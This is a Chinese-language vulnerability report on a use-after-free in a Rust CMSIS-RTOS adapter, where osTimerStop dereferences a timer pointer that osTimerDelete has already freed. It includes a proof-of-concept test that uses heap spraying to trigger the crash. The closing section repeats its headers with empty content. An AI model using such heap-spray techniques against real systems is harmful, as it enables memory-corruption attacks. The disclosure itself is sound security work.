上下文信息
漏洞详情
这个问题的核心在于 Rust 的 Arc 智能指针与 C 风格的原始指针(Raw Pointer)之间的转换管理不当,以及 CMSIS-RTOS API 的设计本身允许用户持有悬空指针。
根本原因:
- 所有权转移与释放
- osTimerCreate 使用 Arc::into_raw(timer) 将 Arc 的所有权放弃,转换成原始指针 osTimerId 返回给 C 侧。此时引用计数为 1(假设没有其他地方持有)。
- osTimerDelete 使用 Arc::from_raw(timer_id) 将原始指针重新转换回 Arc。当这个临时的 Arc 离开作用域(let _ = ... 结束)时,引用计数归零,底层的 Timer 内存被释放(Drop)。
- 缺乏有效性检查:
- osTimerStop 接收 timer_id(即原始指针)。
- 代码直接执行 unsafe { &*(timer_id as *const Timer) }。
- 如果此前已经调用过 osTimerDelete,timer_id 指向的内存已经被回收。此时解引用该指针就是典型的 Use-After-Free,会导致未定义行为(崩溃、数据损坏或安全漏洞)。
相关代码
#[no_mangle]
pub extern "C" fn osTimerStop(timer_id: osTimerId) -> osStatus {
if timer_id.is_null() {
return osStatus_osErrorParameter;
}
let timer = unsafe { &*(timer_id as *const Timer) }; // ← 悬空指针解引用
timer.stop();
osStatus_osOK
}
#[no_mangle]
pub extern "C" fn osTimerDelete(timer_id: osTimerId) -> osStatus {
if timer_id.is_null() {
return osStatus_osErrorParameter;
}
let _ = unsafe { Arc::from_raw(timer_id as *mut Timer) }; // ← 消费原始指针,释放内存
osStatus_osOK
}
漏洞影响范围
- 系统崩溃:访问已释放内存通常导致段错误或系统崩溃
- 信息泄露:如果攻击者能够控制已释放内存的内容,可能获取敏感信息
- 代码执行:在某些情况下,攻击者可能通过控制内存布局实现任意代码执行
漏洞利用示例
由于默认测试基于kernel\adapter\cmsis\src\os2\timer.rs,下面的测试在该文件最后面添加测试代码
#[test]
fn test_os_timer_uaf_vulnerability() {
use alloc::vec::Vec;
use alloc::vec;
use alloc::boxed::Box;
println!("test_os_timer_uaf_vulnerability: Start Heap Spraying...");
const NUM_TIMERS: usize = 20;
let mut timer_ids = Vec::with_capacity(NUM_TIMERS);
let layout = Layout::from_size_align(mem::size_of::<ArcInner<OsTimer>>(), 8).unwrap();
// 1. 批量创建 Timer
for i in 0..NUM_TIMERS {
// 每次分配新的内存给 cb_mem,确保它们分布在堆上
let attr = osTimerAttr_t {
attr_bits: 0,
name: ptr::null(),
cb_mem: unsafe { alloc(layout) as *mut core::ffi::c_void },
cb_size: layout.size() as u32,
};
// 使用 Box 分配参数,增加堆的碎片化
let arg = Box::into_raw(Box::new(i)) as *mut core::ffi::c_void;
let timer_id = osTimerNew(
Some(test_timer),
osTimerType_t_osTimerOnce,
arg,
&attr,
);
assert!(!timer_id.is_null());
timer_ids.push(timer_id);
}
// 2. 批量删除 Timer (制造堆空洞)
// 我们保留 ID,但释放底层的内存
for &id in &timer_ids {
let res = osTimerDelete(id);
assert_eq!(res, osStatus_t_osOK);
}
println!("All timers deleted.");
// 3. 堆喷射 (Heap Spray)
// 疯狂分配数据,试图覆盖刚才释放的 Timer 内存区域
// 我们用 0xDD 填充,如果被当作指针解引用,通常会访问非法地址 (0xDDDDDDDD)
let mut spray_vecs = Vec::new();
for _ in 0..50 {
// 分配大小接近 OsTimer 的块,增加命中率
let size = mem::size_of::<ArcInner<OsTimer>>();
let garbage: Vec<u8> = vec![0xDD; size];
spray_vecs.push(garbage);
}
println!("Heap sprayed with garbage.");
// 4. 触发 UAF
// 遍历所有旧的 ID,尝试停止它们
// 只要有一个 ID 指向的内存被上面的 garbage 覆盖了,这里就会崩溃
let mut survived_count = 0;
for (i, &id) in timer_ids.iter().enumerate() {
println!("Attempting to stop deleted timer #{} (ptr: {:p})...", i, id);
// !!! 危险操作 !!!
let result = osTimerStop(id);
// 如果没崩溃,打印结果
println!(" -> Result: {:?}", result);
if result == osStatus_t_osOK {
survived_count += 1;
}
}
println!("UAF Test Finished. Survived calls: {}/{}", survived_count, NUM_TIMERS);
// 如果所有调用都返回 OK 且没崩溃,说明分配器可能有非常严格的隔离策略(如 Slab 分配器且未复用),
// 或者运气实在太差
}
漏洞利用截图:

上下文信息
文件路径: adapter\cmsis\src\os1\timer.rs
行号: 95
所属函数: osTimerStop
其它相关函数:osTimerStart函数也可以触发本问题,另外os2\timer.rs中存在相同问题
漏洞详情
这个问题的核心在于 Rust 的 Arc 智能指针与 C 风格的原始指针(Raw Pointer)之间的转换管理不当,以及 CMSIS-RTOS API 的设计本身允许用户持有悬空指针。
根本原因:
相关代码
漏洞影响范围
漏洞利用示例
由于默认测试基于kernel\adapter\cmsis\src\os2\timer.rs,下面的测试在该文件最后面添加测试代码
漏洞利用截图: